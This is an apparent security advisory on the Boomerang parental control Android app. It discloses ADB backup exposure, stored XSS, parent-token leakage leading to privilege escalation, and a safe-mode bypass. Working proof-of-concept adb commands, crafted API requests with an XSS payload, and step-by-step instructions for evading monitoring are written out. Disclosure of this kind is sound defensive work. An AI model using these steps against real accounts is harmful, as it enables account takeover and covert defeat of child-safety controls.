Vendor description
"National Education Technologies Inc. is a manufacturer of mobile applications. Their portfolio ranges from parental control apps, to safe browsing apps, to digital wellbeing apps."
Source: https://nationaledtech.com
Business recommendation
The vendor only provides an update for one of the identified security issues, but it effectively reduces the risk of some of the other vulnerabilities, which are currently not fixed yet. The vendor could not provide a timeline when the rest of the issues will be patched. If possible, limit the possibility to boot into Android safe mode. Otherwise children are always able to bypass any restrictions.
An in-depth security analysis performed by security professionals is highly advised, to identify and resolve potential further critical security issues.
Vulnerability overview/description
1) ADB Backup allowed (CVE-2023-36620)
The app is missing the android:allowBackup="false" attribute in the manifest which allows the user to backup the internal memory of the app to a PC. This gives the user access to the device (in case ADB is enabled) and API token which are used to authenticate requests to the API.
2) Stored XSS
The customizable name of the child's device can be used to trigger a XSS payload in the parent web dashboard. Children might be able to attack their parents' account.
3) Trigger parent control functions from child device (Privilege Escalation)
A device token in the form of a UUID is used as a session token for the parent and the child device. The parent device token is leaked on an endpoint which is accessible by the child, which is equivalent to leaking the session token.
This token can then be used to authenticate requests to the API and get the same access rights as the parent. This would allow a child to bypass restrictions and access device settings.
4) Disable Child App Restriction without Parent's notice (CVE-2023-36621)
The child can remove all restrictions temporarily or uninstall the application without the parents noticing.
Proof of concept
1) ADB Backup allowed (CVE-2023-36620)
The internals of the app can be backed up to a PC by connecting the device and running the following commands. As a prerequisite, the ADB feature must be enabled or being used via recovery. Children could bypass any Android setting restrictions via vulnerability 3).
adb backup -apk com.nationaledtech.Boomerang
dd if=backup.ab bs=24 skip=1 | zlib-flate -uncompress | tar xf -The internal data contains the device and API token which are used to communicate with the API.
2) Stored XSS
As the internal memory including the device and API token is backup-able (see 1), it is possible to construct arbitrary requests to the API in the name of the child. The following payload can be used to change the device name and trigger an alert box in the dashboard of the parent:
POST /services/DeviceService.svc/RenameDevice HTTP/1.1
Accept: application/json
Content-Type: application/json;charset=UTF-8
Content-Length: 1470
Host: app.useboomerang.com
{
"DeviceToken": <child-device-token>,
"ApiToken": <child-api-token>,
"DeviceTitle":"\"\/><img src=\"x\" onerror=\"alert(1)\"\/>",
"TargetDeviceToken": <child-device-token>
} 3) Access parent control functions from child device (Privilege Escalation)
When visiting the Family Messenger Tab within the application on the device, a GET request to API endpoint `/services/FamilyService.svc/GetAllFamilyDevices` will be sent and the response contains all DeviceTokens associated with the account (including the ones of parent devices).
To be able to query the `/services/FamilyService.svc/GetAllFamilyDevices` endpoint an attacker first needs to backup their device and get access to their own device and API token. Then an attacker is able to create their own request querying the device token of the parent.
POST /services/FamilyService.svc/GetAllFamilyDevices HTTP/1.1
Accept: application/json
Content-Type: application/json;charset=UTF-8
Content-Length: 54
User-Agent: Dalvik/2.1.0 (Linux; U; Android 11; Pixel 4a Build/RQ2A.210305.006)
Host: app.useboomerang.com
Connection: close
Accept-Encoding: gzip, deflate
{"DeviceToken":"<child-token>"}Response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Connection: close
Content-Length: 450
{
"content":null,
"isSuccessful":true,
"Devices":[
{
"DeviceToken":"[parent-token]",
[...]
}
]
}With the DeviceToken of the parent, the API token can be retrieved from the `/services/DeviceService.svc/UpdateStatus` endpoint:
POST /services/DeviceService.svc/UpdateStatus HTTP/1.1
Host: app.useboomerang.com
Accept: application/json
Content-Type: application/json
User-Agent: Boomerang/234 CFNetwork/1240.0.4 Darwin/20.5.0
Accept-Language: en-us
Content-Length: 55
Accept-Encoding: gzip, deflate
Connection: close
{"DeviceToken": <parent-token>,} As the device token combined with the API token are used to authenticate requests to the API, the child now has the same access rights as the parent.
4) Disable Child App Restriction without Parent's notice (CVE-2023-36621)
The child can disable the restrictions of the application without the parents noticing. For this, the following steps are necessary:
a) Turn off Internet connectivity on the child device or block access to the API server (e.g. on the router).
b) Reboot into Android Safe Mode.
c) Disable Device Admin, "Display over other apps", Usage Access, Accessibility Permissions for the app in Android settings.
d) After rebooting in to normal mode, the child device can be used without restrictions. For example, previously locked apps can now be used. The parent's application will show that Protection is still on and the last check-in time. Internet must stay off on the child device during this.
e) After usage of the restricted apps is finished, the mentioned permissions are turned back on.
f) The device is restarted to clear any cached HTTP requests of the app that might inform the parent.
g) Internet is re-enabled. The parent's device will not see an indication of these activities on their device.
Alternatively, the Boomerang app can also be uninstalled after disabling the Device Admin permission in step 3. Internet can then be turned on as well on the child's device without any notification to the parent. The only way for the parent to notice this would be to manually check the last check-in time.
The "Safe Mode Bypass" cannot be exploited on Samsung KNOX capable devices, as special restrictions can be set in order to disable booting into safe mode.
Vulnerable / tested versions
The following version has been tested and downloaded from the Google Play store, which was the most recent version available at the time of the initial test:
- Android app version 13.53
Later on, version 13.61 (2022-10-25) and 13.68 (2022-12-13) have been verified to be vulnerable as well.